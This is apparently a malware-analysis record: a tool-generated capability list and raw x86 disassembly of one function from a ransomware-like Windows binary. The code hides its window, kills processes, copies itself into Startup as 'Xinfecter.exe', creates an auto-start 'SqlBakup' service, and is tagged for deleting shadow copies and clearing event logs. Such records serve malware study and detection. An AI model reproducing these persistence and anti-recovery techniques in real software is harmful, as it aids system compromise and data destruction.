Function at 0x42c940
Capabilities:
Clear windows event logs
Contain obfuscated stackstrings
Copy file
Delete volume shadow copies
Delete windows backup catalog
Hide graphical window
Move file
Parse pe header
Set console window title

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4d9f4d
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x1b14
call fcn.00491f40
mov eax, dword [0x51f164]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1488], eax
mov dword [ebp - 0x148c], 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov edi, dword [ebp + 8]
cmp edi, 1
jle 0x42ca39
push 0
push 0x4f820f
lea ecx, [ebp - 0x8d4]
mov dword [ebp - 0x8c4], 0
mov dword [ebp - 0x8c0], 0xf
mov byte [ebp - 0x8d4], 0
call fcn.00431fd0
mov dword [ebp - 4], 0
mov esi, 1
nop dword [eax]
mov eax, dword [ebp - 0x1488]
lea ecx, [ebp - 0x8d4]
push dword [eax + esi*4]
call fcn.00432110
push 0x500824
lea ecx, [ebp - 0x8d4]
call fcn.00432110
inc esi
cmp esi, edi
jl 0x42c9e0
sub esp, 0x18
lea eax, [ebp - 0x8d4]
mov ecx, esp
push eax
call fcn.00432410
call fcn.00427070
add esp, 0x18
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x8d4]
call fcn.00432290
jmp 0x42caf2
mov edx, str.Normal_Config
mov ecx, 0x520190
call fcn.004398b0
test al, al
je 0x42ca51
call fcn.004283e0
mov edx, str.Manual_Mini_Config
mov ecx, 0x520190
call fcn.004398b0
test al, al
je 0x42cabe
push str.c:R_cfg.ini
lea ecx, [ebp - 0x1518]
call fcn.00404960
lea ecx, [ebp - 0x1518]
mov dword [ebp - 4], 1
call fcn.00404a20
lea ecx, [ebp - 0x1518]
mov byte [ebp - 0x1476], al
mov dword [ebp - 4], 0xffffffff
call fcn.004049c0
cmp byte [ebp - 0x1476], 0
je 0x42ed55
mov byte [0x5200eb], 0
mov byte [0x5200ee], 0
call fcn.0042ac20
mov edx, str.Mini_Config
mov ecx, 0x520190
call fcn.004398b0
test al, al
je 0x42cad6
call fcn.0042c4d0
mov edx, str.Fast
mov ecx, 0x520190
call fcn.004398b0
test al, al
je 0x42caf2
mov word [0x5200ec], 0
cmp byte [0x5200eb], 1
jne 0x42cbf2
xor eax, eax
mov ecx, 0x520138
mov word [0x520138], ax
mov eax, dword [0x52012c]
test eax, eax
jne 0x42cb52
lea edx, [ecx - 2]
nop dword [eax + eax]
mov ax, word [edx + 2]
lea edx, [edx + 2]
test ax, ax
jne 0x42cb20
mov eax, dword [0x4ffa54]
mov dword [edx], eax
mov eax, dword [str.ykat]
mov dword [edx + 4], eax
mov eax, dword [0x4ffa5c]
mov dword [edx + 8], eax
mov ax, word [0x4ffa60]
mov word [edx + 0xc], ax
mov eax, dword [0x52012c]
cmp eax, 1
jne 0x42cb92
lea edx, [ecx - 2]
nop word [eax + eax]
mov ax, word [edx + 2]
lea edx, [edx + 2]
test ax, ax
jne 0x42cb60
mov eax, dword [str.k2ba8v]
mov dword [edx], eax
mov eax, dword [0x4ffa68]
mov dword [edx + 4], eax
mov eax, dword [0x4ffa6c]
mov dword [edx + 8], eax
mov ax, word [0x4ffa70]
mov word [edx + 0xc], ax
mov eax, dword [0x52012c]
cmp eax, 2
jne 0x42cbcd
add ecx, 0xfffffffe
nop word [eax + eax]
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x42cba0
mov eax, dword [str.r1d8la]
mov dword [ecx], eax
mov eax, dword [0x4ffa78]
mov dword [ecx + 4], eax
mov eax, dword [0x4ffa7c]
mov dword [ecx + 8], eax
mov ax, word [0x4ffa80]
mov word [ecx + 0xc], ax
push 1
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 0x520138
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
call fcn.004160a0
cmp dword [0x52950c], 1
jg 0x42ed55
mov edx, str.tasklist__v__fo_csv__findstr__i__dcdcf_
lea ecx, [ebp - 0x93c]
call fcn.004087e0
push 0
push str.dcdcf
lea ecx, [ebp - 0x93c]
mov dword [ebp - 4], 2
call fcn.00431b90
cmp eax, 0xffffffff
je 0x42cce0
push 0
push str._cmd.exe___
lea ecx, [ebp - 0x93c]
call fcn.00431b90
mov esi, eax
lea ecx, [ebp - 0x93c]
push esi
push 0x500898
call fcn.00431b90
sub eax, esi
lea ecx, [ebp - 0x93c]
sub eax, 3
push eax
lea eax, [esi + 0xb]
push eax
lea eax, [ebp - 0x1a00]
push eax
call fcn.00431b30
push eax
lea eax, [ebp - 0x17f0]
mov byte [ebp - 4], 3
push str.taskkill__PID
push eax
call fcn.00439850
push 0x50089c
push eax
lea eax, [ebp - 0xb64]
mov byte [ebp - 4], 4
push eax
call fcn.00439d90
add esp, 0x18
lea ecx, [ebp - 0x17f0]
call fcn.00432290
lea ecx, [ebp - 0x1a00]
mov byte [ebp - 4], 7
call fcn.00432290
lea ecx, [ebp - 0xb64]
call fcn.00431e30
mov edx, eax
lea ecx, [ebp - 0x1a18]
call fcn.004087e0
lea ecx, [ebp - 0x1a18]
call fcn.00432290
lea ecx, [ebp - 0xb64]
mov byte [ebp - 4], 2
call fcn.00432290
call fcn.00413030
push 0x400
lea eax, [ebp - 0x814]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x814]
push eax
lea ecx, [ebp - 0x954]
call fcn.00431a30
mov byte [ebp - 4], 8
call fcn.00413eb0
lea ecx, [ebp - 0x1a30]
call fcn.00413d50
push eax
mov ecx, 0x520088
call fcn.004319a0
lea ecx, [ebp - 0x1a30]
call fcn.004049c0
push str.:Users_
mov edx, 0x520088
lea ecx, [ebp - 0x1a60]
call fcn.0043a350
push 0x51fc48
mov edx, eax
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x1a48]
call fcn.0043a420
push str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartupXinfecter.exe
mov edx, eax
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x9cc]
call fcn.0043a2e0
add esp, 0xc
lea ecx, [ebp - 0x1a48]
call fcn.004049c0
lea ecx, [ebp - 0x1a60]
mov byte [ebp - 4], 0xd
call fcn.004049c0
push 0
lea ecx, [ebp - 0x9cc]
call fcn.00431860
push eax
lea ecx, [ebp - 0x954]
call fcn.00431860
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileW]
push eax
call esi
push str.:Documents_and_Settings_
mov edx, 0x520088
lea ecx, [ebp - 0x1a90]
call fcn.0043a350
push 0x51fc48
mov edx, eax
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x1a78]
call fcn.0043a420
push str.Start_MenuProgramsStartupXinfecter.exe
mov edx, eax
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x96c]
call fcn.0043a2e0
add esp, 0xc
lea ecx, [ebp - 0x1a78]
call fcn.004049c0
lea ecx, [ebp - 0x1a90]
mov byte [ebp - 4], 0x12
call fcn.004049c0
push 0
lea ecx, [ebp - 0x96c]
call fcn.00431860
push eax
lea ecx, [ebp - 0x954]
call fcn.00431860
push eax
call esi
lea eax, [ebp - 0x14b8]
push eax
lea ecx, [ebp - 0x9cc]
call fcn.00431870
mov esi, eax
lea ecx, [ebp - 0x9cc]
lea eax, [ebp - 0x14b0]
push eax
call fcn.00431890
push ecx
push dword [esi]
lea ecx, [ebp - 0xa14]
push dword [eax]
call fcn.0043ace0
lea eax, [ebp - 0xa14]
mov byte [ebp - 4], 0x13
push eax
mov edx, str.sc_create_SqlBakup_binPath__
lea ecx, [ebp - 0x1aa8]
call fcn.00439750
push str.__startauto
push eax
lea eax, [ebp - 0xaa4]
mov byte [ebp - 4], 0x14
push eax
call fcn.00439d90
add esp, 0x10
lea ecx, [ebp - 0x1aa8]
mov byte [ebp - 4], 0x16
call fcn.00432290
lea eax, [ebp - 0xa14]
mov edx, str.sc_create_SqlBakup_binPath__
push eax
lea ecx, [ebp - 0x1ac0]
call fcn.00439750
push str.__start_auto
push eax
lea eax, [ebp - 0xabc]
mov byte [ebp - 4], 0x17
push eax
call fcn.00439d90
add esp, 0x10
lea ecx, [ebp - 0x1ac0]
mov byte [ebp - 4], 0x19
call fcn.00432290
lea ecx, [ebp - 0xaa4]
call fcn.00431e30
mov edx, eax
lea ecx, [ebp - 0x1ad8]
call fcn.004087e0
lea ecx, [ebp - 0x1ad8]
call fcn.00432290
lea ecx, [ebp - 0xabc]
call fcn.00431e30
mov edx, eax
lea ecx, [ebp - 0x1af0]
call fcn.004087e0
lea ecx, [ebp - 0x1af0]
call fcn.00432290
lea eax, [ebp - 0x14ac]
push eax
lea ecx, [ebp - 0x96c]
call fcn.00431870
mov esi, eax
lea ecx, [ebp - 0x96c]
lea eax, [ebp - 0x14b4]
push eax
call fcn.00431890
push ecx
push dword [esi]
lea ecx, [ebp - 0xad4]
push dword [eax]
call fcn.0043ace0
lea eax, [ebp - 0xad4]
mov byte [ebp - 4], 0x1a
push eax
mov edx, str.sc_create_SqlBakup_binPath__
lea ecx, [ebp - 0x1b08]
call fcn.00439750
push str.__start_auto
push eax
lea eax, [ebp - 0xaec]
mov byte [ebp - 4], 0x1b
push eax
call fcn.00439d90
add esp, 0x10
lea ecx, [ebp - 0x1b08]
mov byte [ebp - 4], 0x1d
call fcn.00432290
lea ecx, [ebp - 0xaec]
call fcn.00431e30
mov edx, eax
lea ecx, [ebp - 0x1568]
call fcn.004087e0
lea ecx, [ebp - 0x1568]
call fcn.00432290
call fcn.004245a0
mov edx, 0x500438
mov byte [ebp - 0x1476], al
lea ecx, [ebp - 0xb04]
call fcn.004087e0
push 0
push str.Version_5.
lea ecx, [ebp - 0xb04]
mov byte [ebp - 4], 0x1e
call fcn.00431b90
cmp eax, 0xffffffff
setne byte [ebp - 0x1475]
sub esp, 0x18
mov ecx, esp
push 0x51fc48
call fcn.00431aa0
call fcn.004138c0
add esp, 0x18
cmp byte [0x5200ec], 0
jne 0x42d086
cmp byte [0x5200ee], 1
jne 0x42d086
cmp dword [0x52012c], 0
jne 0x42d086
mov ecx, 0x5200b8
call fcn.0043b7b0
test al, al
je 0x42d086
sub esp, 0x18
lea eax, [ebp - 0x954]
mov ecx, esp
mov dword [ebp - 0x148c], esp
push eax
call fcn.00431aa0
sub esp, 0x18
mov byte [ebp - 4], 0x1f
mov ecx, esp
push 0x51fc48
call fcn.00431aa0
mov dl, byte [ebp - 0x1476]
mov cl, byte [ebp - 0x1475]
mov byte [ebp - 4], 0x1e
call fcn.00409300
add esp, 0x30
call fcn.00416550
mov dword [0x520128], eax
call fcn.00416550
cmp dword [0x520128], eax
je 0x42d0c2
call fcn.00416550
mov dword [0x520128], eax
call fcn.00416550
mov ecx, dword [0x520128]
mov edx, 1
cmp ecx, eax
cmovne ecx, edx
mov dword [0x520128], ecx
lea eax, [ebp - 0x14a8]
mov ecx, 0x51fc30
push eax
call fcn.00431870
mov esi, eax
mov ecx, 0x51fc30
lea eax, [ebp - 0x14a4]
push eax
call fcn.00431890
push ecx
push dword [esi]
lea ecx, [ebp - 0xb1c]
push dword [eax]
call fcn.0043ace0
lea eax, [ebp - 0xb1c]
mov byte [ebp - 4], 0x20
push eax
mov ecx, 0x51fc60
call fcn.00432260
push ecx
mov edx, 5
lea ecx, [ebp - 0x1580]
call fcn.00408ae0
add esp, 4
mov ecx, 0x51fce8
push eax
call fcn.004319a0
lea ecx, [ebp - 0x1580]
call fcn.004049c0
lea eax, [ebp - 0x1494]
mov ecx, 0x51fce8
push eax
call fcn.00431870
mov esi, eax
mov ecx, 0x51fce8
lea eax, [ebp - 0x1490]
push eax
call fcn.00431890
push ecx
push dword [esi]
lea ecx, [ebp - 0xb34]
push dword [eax]
call fcn.0043ace0
push ecx
mov edx, 3
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x15b0]
call fcn.00408ae0
push eax
lea ecx, [ebp - 0x1598]
mov byte [ebp - 4], 0x22
call fcn.0043a5a0
add esp, 8
mov ecx, 0x51fdb8
push eax
call fcn.004319a0
lea ecx, [ebp - 0x1598]
call fcn.004049c0
lea ecx, [ebp - 0x15b0]
call fcn.004049c0
mov byte [ebp - 4], 0x23
call fcn.00414cc0
mov edi, eax
lea ecx, [ebp - 0x85c]
mov dword [0x529518], edi
call fcn.00431a80
mov byte [ebp - 4], 0x24
xor esi, esi
cmp esi, edi
ja 0x42d2a8
push str.:Users_
mov edx, 0x520088
lea ecx, [ebp - 0x15f8]
call fcn.0043a350
add esp, 4
lea ecx, [esi + esi*2]
mov byte [ebp - 4], 0x25
lea ecx, [ecx*8 + 0x5296c0]
mov edx, eax
push ecx
lea ecx, [ebp - 0x15e0]
call fcn.0043a420
add esp, 4
push str.AppDataSysMain.sys
mov edx, eax
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x15c8]
call fcn.0043a2e0
add esp, 4
lea ecx, [ebp - 0x85c]
push eax
call fcn.004319a0
lea ecx, [ebp - 0x15c8]
call fcn.004049c0
lea ecx, [ebp - 0x15e0]
call fcn.004049c0
lea ecx, [ebp - 0x15f8]
mov byte [ebp - 4], 0x24
call fcn.004049c0
lea eax, [ebp - 0x85c]
push eax
lea ecx, [ebp - 0x1500]
call fcn.00431aa0
lea ecx, [ebp - 0x1500]
mov byte [ebp - 4], 0x27
call fcn.00404a20
lea ecx, [ebp - 0x1500]
mov byte [ebp - 0x1475], al
mov byte [ebp - 4], 0x24
call fcn.004049c0
cmp byte [ebp - 0x1475], 0
jne 0x42d2a8
mov edi, dword [0x529518]
inc esi
jmp 0x42d1d4
lea eax, [ebp - 0x85c]
push eax
lea ecx, [ebp - 0x1530]
call fcn.00431aa0
lea ecx, [ebp - 0x1530]
mov byte [ebp - 4], 0x28
call fcn.00404a20
lea ecx, [ebp - 0x1530]
mov byte [ebp - 0x1475], al
mov byte [ebp - 4], 0x24
call fcn.004049c0
cmp byte [ebp - 0x1475], 0
jne 0x42d362
push str.:Users_
mov edx, 0x520088
lea ecx, [ebp - 0x1640]
call fcn.0043a350
add esp, 4
push 0x51fc48
mov edx, eax
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x1628]
call fcn.0043a420
add esp, 4
push str.AppDataSysMain.sys
mov edx, eax
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x1610]
call fcn.0043a2e0
add esp, 4
lea ecx, [ebp - 0x85c]
push eax
call fcn.004319a0
lea ecx, [ebp - 0x1610]
call fcn.004049c0
lea ecx, [ebp - 0x1628]
call fcn.004049c0
lea ecx, [ebp - 0x1640]
mov byte [ebp - 4], 0x24
call fcn.004049c0
push str.:WindowsSysMain.sys
mov edx, 0x520088
lea ecx, [ebp - 0x82c]
call fcn.0043a350
add esp, 4
mov byte [ebp - 4], 0x2b
cmp byte [0x5200e9], 1
jne 0x42d38c
call fcn.00421770
lea eax, [ebp - 0x82c]
push eax
lea ecx, [ebp - 0x14d0]
call fcn.00431aa0
mov eax, 1
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x14d0]
mov dword [ebp - 0x1488], eax
mov dword [ebp - 0x148c], eax
call fcn.00404a20
test al, al
jne 0x42d402
lea eax, [ebp - 0x85c]
push eax
lea ecx, [ebp - 0x14e8]
call fcn.00431aa0
mov eax, 3
mov dword [ebp - 4], 0x2d
lea ecx, [ebp - 0x14e8]
mov dword [ebp - 0x1488], eax
mov dword [ebp - 0x148c], eax
call fcn.00404a20
mov byte [ebp - 0x1476], 0
test al, al
je 0x42d409
mov byte [ebp - 0x1476], 1
mov eax, dword [ebp - 0x1488]
test al, 2
je 0x42d42d
and eax, 0xfffffffd
lea ecx, [ebp - 0x14e8]
mov dword [ebp - 0x1488], eax
call fcn.004049c0
mov eax, dword [ebp - 0x1488]
and eax, 0xfffffffe
mov dword [ebp - 4], 0x2b
lea ecx, [ebp - 0x14d0]
mov dword [ebp - 0x148c], eax
call fcn.004049c0
cmp byte [ebp - 0x1476], 0
je 0x42d7fb
lea eax, [ebp - 0x85c]
push eax
lea ecx, [ebp - 0x1548]
call fcn.00431aa0
lea ecx, [ebp - 0x1548]
mov byte [ebp - 4], 0x2e
call fcn.00404a20
lea ecx, [ebp - 0x1548]
mov byte [ebp - 0x1475], al
mov byte [ebp - 4], 0x2b
call fcn.004049c0
cmp byte [ebp - 0x1475], 0
je 0x42d4a6
lea eax, [ebp - 0x85c]
push eax
lea ecx, [ebp - 0x82c]
call fcn.00431970
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
nop dword [eax]
sub esp, 0x18
lea eax, [ebp - 0x82c]
mov ecx, esp
push eax
call fcn.00431aa0
call fcn.0040af30
add esp, 0x18
test edx, edx
jg 0x42d4dd
jl 0x42d4d4
cmp eax, 2
jae 0x42d4dd
push 0xbb8
call esi
jmp 0x42d4b0
push 0xb8
lea eax, [ebp - 0xeac]
push 0
push eax
call fcn.004a9190
add esp, 4
lea eax, [ebp - 0x82c]
lea ecx, [ebp - 0xeac]
push 1
push eax
call fcn.00434310
lea eax, [ebp - 0xeac]
mov byte [ebp - 4], 0x2f
push eax
lea ecx, [ebp - 0x1550]
mov word [ebp - 0x147c], 1
call fcn.00431490
push ecx
push dword [ebp - 0x147c]
lea ecx, [ebp - 0x844]
push 0
push dword [eax + 4]
push dword [eax]
call fcn.0043b640
lea ecx, [ebp - 0xeac]
mov byte [ebp - 4], 0x30
call fcn.004342a0
push str.n7t0
lea ecx, [ebp - 0xa5c]
call fcn.004323a0
push str.p2h6
lea ecx, [ebp - 0xb94]
mov byte [ebp - 4], 0x31
call fcn.004323a0
push ecx
lea eax, [ebp - 0xa5c]
mov byte [ebp - 4], 0x32
push eax
lea ecx, [ebp - 0x844]
call fcn.00431bd0
mov esi, eax
lea eax, [ebp - 0xb94]
push ecx
push eax
lea ecx, [ebp - 0x844]
call fcn.00431bd0
push eax
push esi
lea eax, [ebp - 0x1658]
push eax
lea ecx, [ebp - 0x844]
call fcn.00431b30
push eax
mov ecx, 0x520148
call fcn.004322e0
lea ecx, [ebp - 0x1658]
call fcn.00432290
mov eax, dword [ebp - 0xa4c]
mov ecx, 0x520148
push 0xffffffffffffffff
add eax, esi
push eax
lea eax, [ebp - 0x1670]
push eax
call fcn.00431b30
push eax
mov ecx, 0x520148
call fcn.004322e0
lea ecx, [ebp - 0x1670]
call fcn.00432290
push 0
push str.p2h6
lea ecx, [ebp - 0x844]
call fcn.00431b90
mov esi, eax
push esi
push str.u4g8
lea ecx, [ebp - 0x844]
call fcn.00431b90
sub eax, esi
lea ecx, [ebp - 0x844]
sub eax, 4
push eax
lea eax, [esi + 4]
push eax
lea eax, [ebp - 0xa44]
push eax
call fcn.00431b30
lea eax, [ebp - 0x1488]
mov byte [ebp - 4], 0x33
push eax
lea ecx, [ebp - 0xa44]
call fcn.00431e90
mov esi, eax
lea ecx, [ebp - 0xa44]
lea eax, [ebp - 0x14a0]
push eax
call fcn.00431eb0
push ecx
push dword [esi]
lea ecx, [ebp - 0xc0c]
push dword [eax]
call fcn.0043adc0
push 0x4fb040
mov ecx, 0x51fce8
mov byte [ebp - 4], 0x34
call fcn.00431940
lea eax, [ebp - 0xc0c]
mov ecx, 0x51fce8
push eax
call fcn.00431970
push 0
push str.u4g8
lea ecx, [ebp - 0x844]
call fcn.00431b90
mov esi, eax
lea ecx, [ebp - 0x844]
push esi
push str.h2gq
call fcn.00431b90
sub eax, esi
lea ecx, [ebp - 0x844]
sub eax, 4
push eax
lea eax, [esi + 4]
push eax
lea eax, [ebp - 0xa2c]
push eax
call fcn.00431b30
lea eax, [ebp - 0x149c]
mov byte [ebp - 4], 0x35
push eax
lea ecx, [ebp - 0xa2c]
call fcn.00431e90
mov esi, eax
lea ecx, [ebp - 0xa2c]
lea eax, [ebp - 0x1498]
push eax
call fcn.00431eb0
push ecx
push dword [esi]
lea ecx, [ebp - 0xbf4]
push dword [eax]
call fcn.0043adc0
lea eax, [ebp - 0xbf4]
mov byte [ebp - 4], 0x36
push eax
mov ecx, 0x51fdb8
call fcn.00431970
mov dword [ebp - 0x914], 0
mov dword [ebp - 0x910], 0xf
mov byte [ebp - 0x924], 0
mov byte [ebp - 4], 0x37
mov edx, 0x520148
lea ecx, [ebp - 0x1688]
call fcn.00407fe0
push eax
lea ecx, [ebp - 0x924]
call fcn.004322e0
lea ecx, [ebp - 0x1688]
call fcn.00432290
push 0x4f820f
mov ecx, 0x520148
call fcn.00432230
lea eax, [ebp - 0x924]
mov ecx, 0x520148
push eax
call fcn.00432260
lea ecx, [ebp - 0x924]
call fcn.00432290
lea ecx, [ebp - 0xbf4]
call fcn.004049c0
lea ecx, [ebp - 0xa2c]
call fcn.00432290
lea ecx, [ebp - 0xc0c]
call fcn.004049c0
lea ecx, [ebp - 0xa44]
call fcn.00432290
lea ecx, [ebp - 0xb94]
call fcn.00432290
lea ecx, [ebp - 0xa5c]
call fcn.00432290
lea ecx, [ebp - 0x844]
call fcn.00432290
lea ecx, [ebp - 0xeac]
mov byte [ebp - 4], 0x2b
call fcn.0040ace0
jmp 0x42dffe
push 0xc0
lea eax, [ebp - 0xf6c]
push 0
push eax
call fcn.004a9190
add esp, 4
lea eax, [ebp - 0x82c]
lea ecx, [ebp - 0xf6c]
push 2
push eax
call fcn.00433fc0
mov edx, 0x4ffa48
mov byte [ebp - 4], 0x38
lea ecx, [ebp - 0xf5c]
call fcn.00439940
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
add ecx, eax
call fcn.00403730
lea ecx, [ebp - 0xf6c]
mov byte [ebp - 0x1475], al
call fcn.00433f40
cmp byte [ebp - 0x1475], 0
je 0x42d8c9
lea eax, [ebp - 0x85c]
push eax
lea ecx, [ebp - 0x82c]
call fcn.00431970
push 0xc0
lea eax, [ebp - 0x11ac]
push 0
push eax
call fcn.004a9190
add esp, 4
lea eax, [ebp - 0x82c]
lea ecx, [ebp - 0x11ac]
push 2
push eax
call fcn.00433fc0
mov edx, 0x4ffa48
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x119c]
call fcn.00439940
lea ecx, [ebp - 0x11ac]
call fcn.00433f40
lea ecx, [ebp - 0x11ac]
mov byte [ebp - 4], 0x38
call fcn.0040b0a0
push pe_nt_image_headers32
lea eax, [ebp - 0x12b4]
push 0
push eax
call fcn.004a9190
add esp, 0xc
lea ecx, [ebp - 0x12b4]
push 1
call fcn.00416650
push 0x800
push 0x529528
lea ecx, [ebp - 0x1270]
mov byte [ebp - 4], 0x3a
call fcn.00446480
push pe_nt_image_headers32
lea eax, [ebp - 0x13bc]
push 0
push eax
call fcn.004a9190
add esp, 8
lea eax, [ebp - 0x12b4]
lea ecx, [ebp - 0x13bc]
push eax
call fcn.0042ed80
push 0x40
lea eax, [ebp - 0xc4c]
mov byte [ebp - 4], 0x3b
push 0
push eax
call fcn.004a9190
add esp, 0xc
lea eax, [ebp - 0x12b4]
lea ecx, [ebp - 0xc4c]
push 1
push eax
call fcn.0042ef20
xorps xmm0, xmm0
mov byte [ebp - 4], 0x3c
push 0x520148
lea ecx, [ebp - 0x8f4]
movups xmmword [ebp - 0x8f4], xmm0
call fcn.00430a00
lea eax, [ebp - 0x8f4]
mov byte [ebp - 4], 0x3d
push eax
lea ecx, [ebp - 0xc48]
call fcn.00442d90
xorps xmm0, xmm0
lea ecx, [ebp - 0x8e4]
push 0x51fbc0
movups xmmword [ebp - 0x8e4], xmm0
call fcn.00430a00
lea eax, [ebp - 0x8e4]
mov byte [ebp - 4], 0x3e
push eax
lea ecx, [ebp - 0x137c]
call fcn.00442bc0
mov ecx, 4
lea eax, [ebp - 0x13bc]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x42d9c7
mov edx, 0x51fbc0
lea ecx, [ebp - 0x16a0]
call fcn.00407e30
push eax
mov ecx, 0x51fcb8
call fcn.004322e0
lea ecx, [ebp - 0x16a0]
call fcn.00432290
push 0x12b
push 0
lea eax, [ebp - 0x9fc]
mov ecx, 0x51fcb8
push eax
call fcn.00431b30
mov byte [ebp - 4], 0x3f
lea eax, [ebp - 0x9e4]
push dword [0x51fcc8]
mov ecx, 0x51fcb8
push 0x12b
push eax
call fcn.00431b30
mov byte [ebp - 4], 0x40
mov ecx, 0x18
mov eax, 0x51fcb8
nop
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x42da40
lea eax, [ebp - 0x9e4]
mov ecx, 0x51fcb8
push eax
call fcn.00432260
mov ecx, 0x18
lea eax, [ebp - 0x9e4]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x42da67
push ecx
lea edx, [ebp - 0x9fc]
lea ecx, [ebp - 0xb7c]
call fcn.004146c0
add esp, 4
mov byte [ebp - 4], 0x41
lea eax, [ebp - 0x9fc]
mov ecx, 0x18
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x42da96
push 0x51fcb8
lea edx, [ebp - 0xb7c]
lea ecx, [ebp - 0x16b8]
call fcn.00439de0
add esp, 4
mov ecx, 0x51fcb8
push eax
call fcn.004322e0
lea ecx, [ebp - 0x16b8]
call fcn.00432290
mov ecx, 0x18
mov eax, 0x51fbc0
nop word [eax + eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x42dae0
mov dword [ebp - 0x8fc], ecx
mov dword [ebp - 0x8f8], 0xf
mov byte [ebp - 0x90c], cl
push 0x520148
lea ecx, [ebp - 0xbac]
mov byte [ebp - 4], 0x42
call fcn.00432410
lea edx, [ebp - 0xbac]
mov byte [ebp - 4], 0x43
lea ecx, [ebp - 0x16d0]
call fcn.00407e30
push eax
lea ecx, [ebp - 0x90c]
call fcn.004322e0
lea ecx, [ebp - 0x16d0]
call fcn.00432290
push 0xc0
lea eax, [ebp - 0x102c]
push 0
push eax
call fcn.004a9190
add esp, 4
lea eax, [ebp - 0x82c]
lea ecx, [ebp - 0x102c]
push 2
push eax
call fcn.00433fc0
lea eax, [ebp - 0x90c]
mov byte [ebp - 4], 0x44
push eax
mov edx, str.n7t0
lea ecx, [ebp - 0x1700]
call fcn.00439750
add esp, 4
push str.p2h6
push eax
lea eax, [ebp - 0x16e8]
mov byte [ebp - 4], 0x45
push eax
call fcn.00439d90
add esp, 0xc
mov edx, eax
mov byte [ebp - 4], 0x46
lea ecx, [ebp - 0x101c]
call fcn.00439c80
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
add ecx, eax
call fcn.00403730
lea ecx, [ebp - 0x16e8]
mov byte [ebp - 0x1475], al
call fcn.00432290
lea ecx, [ebp - 0x1700]
mov byte [ebp - 4], 0x44
call fcn.00432290
lea ecx, [ebp - 0x102c]
call fcn.00433f40
cmp byte [ebp - 0x1475], 0
je 0x42dcaf
lea eax, [ebp - 0x85c]
push eax
lea ecx, [ebp - 0x82c]
call fcn.00431970
push 0xc0
lea eax, [ebp - 0x10ec]
push 0
push eax
call fcn.004a9190
add esp, 4
lea eax, [ebp - 0x82c]
lea ecx, [ebp - 0x10ec]
push 2
push eax
call fcn.00433fc0
lea eax, [ebp - 0x90c]
mov byte [ebp - 4], 0x47
push eax
mov edx, str.n7t0
lea ecx, [ebp - 0x1730]
call fcn.00439750
add esp, 4
push str.p2h6
push eax
lea eax, [ebp - 0x1718]
mov byte [ebp - 4], 0x48
push eax
call fcn.00439d90
add esp, 0xc
mov edx, eax
mov byte [ebp - 4], 0x49
lea ecx, [ebp - 0x10dc]
call fcn.00439c80
lea ecx, [ebp - 0x1718]
call fcn.00432290
lea ecx, [ebp - 0x1730]
mov byte [ebp - 4], 0x47
call fcn.00432290
lea ecx, [ebp - 0x10ec]
call fcn.00433f40
lea ecx, [ebp - 0x10ec]
mov byte [ebp - 4], 0x44
call fcn.0040b0a0
lea eax, [ebp - 0x1484]
mov ecx, 0x51fdb8
push eax
call fcn.00431870
mov esi, eax
mov ecx, 0x51fdb8
lea eax, [ebp - 0x147c]
push eax
call fcn.00431890
push ecx
push dword [esi]
lea ecx, [ebp - 0xbc4]
push dword [eax]
call fcn.0043ace0
push 0xc0
lea eax, [ebp - 0xd44]
mov byte [ebp - 4], 0x4a
push 0
push eax
call fcn.004a9190
add esp, 4
lea eax, [ebp - 0x82c]
lea ecx, [ebp - 0xd44]
push 0xb
push eax
call fcn.00433fc0
push str.u4g8
lea edx, [ebp - 0xb34]
mov byte [ebp - 4], 0x4b
lea ecx, [ebp - 0x1748]
call fcn.00439ca0
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x4c
lea ecx, [ebp - 0xd34]
call fcn.00439c80
lea ecx, [ebp - 0x1748]
mov byte [ebp - 4], 0x4b
call fcn.00432290
push str.h2gq
lea edx, [ebp - 0xbc4]
lea ecx, [ebp - 0x1760]
call fcn.00439ca0
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0x4d
lea ecx, [ebp - 0xd34]
call fcn.00439c80
lea ecx, [ebp - 0x1760]
mov byte [ebp - 4], 0x4b
call fcn.00432290
lea ecx, [ebp - 0xd44]
call fcn.00433f40
push 0x51fcb8
lea ecx, [ebp - 0x984]
call fcn.00432410
push 0
push ecx
lea edx, [ebp - 0x984]
mov byte [ebp - 4], 0x4e
lea ecx, [ebp - 0xbdc]
call fcn.00414e20
add esp, 8
push str.:Users_
mov edx, 0x520088
mov byte [ebp - 4], 0x4f
lea ecx, [ebp - 0x1790]
call fcn.0043a350
add esp, 4
push 0x51fc48
mov edx, eax
mov byte [ebp - 4], 0x50
